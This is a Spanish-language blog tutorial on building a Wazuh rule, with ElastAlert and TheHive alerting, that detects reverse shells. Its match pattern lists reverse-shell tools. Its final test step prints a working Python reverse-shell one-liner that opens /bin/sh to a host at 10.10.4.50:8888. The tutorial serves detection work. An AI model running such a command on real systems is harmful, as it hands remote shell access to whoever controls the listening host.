En este post vamos a seguir configurando nuestro entorno SIRP en el cual ya hablamos en la entrada: https://red-orbita.com/?p=8726
En este caso vamos a crear una regla para detectar reverse shell. Para ello, primero tenemos que configurar en el cliente que liste todos los procesos que están corriendo en /var/ossec/etc/ossec.conf
<localfile>
<log_format>command</log_format>
<command>ps -eo user,pid,cmd</command>
<frequency>60</frequency>
</localfile>
Reiniciamos el servicio
/etc/init.d/wazuh-agent restart
Ahora nos vamos a wazuh manager y agregamos las siguientes reglas en /var/ossec/etc/rules/local_rules.xml
<group name="ossec,">
<rule id="100050" level="0">
<if_sid>530</if_sid>
<match>^ossec: output: 'ps -eo user,pid,cmd'</match>
<description>List of running process.</description>
<group>process_monitor,</group>
</rule>
<rule id="100051" level="7">
<if_sid>100050</if_sid>
<match>bash -i|perl -e|perl -MIO -e|php -r|ruby -rsocket|ssh -i|xterm -display|Xnest|xhost|nc -e|python -c</match>
<description>Reverse shell listening for incoming connections.</description>
<group>process_monitor,attacks</group>
</rule>
Reiniciamos el servicio de wazuh manager
/etc/init.d/wazuh-manager restart
Ahora nos vamos al servidor donde se encuentra elastalert y generamos la siguiente regla
es_host: localhost
es_port: 9200
name: Reverse Shell detection.
type: frequency
index: wazuh-alerts-3.x-*
num_events: 2
timeframe:
hours: 1
filter:
- term:
rule.id: "100051"
alert: hivealerter
hive_connection:
hive_host: http://ip_thehive
hive_port: 9000
hive_apikey: <Paste API key for elastalert user here>
hive_alert_config:
title: '{rule[name]}'
type: 'external'
source: 'elastalert'
description: '{match[full_log]}'
severity: 2
tags: ['{rule[name]}', '{match[agent][name]}', 'Reverse Shell', '{match[rule][groups]}', '{match[_id]}']
tlp: 3
status: 'New'
follow: True
hive_observable_data_mapping:
- ip: "{match[src_ip]}"
Reiniciamos el servicio
systemctl status elastalert
Ahora lanzamos un reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.4.50",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Nos vamos a Kibana y compramos que sale la alerta
Ahora nos vamos a Thehive y comprobamos que nos haya generado una alerta
:wq!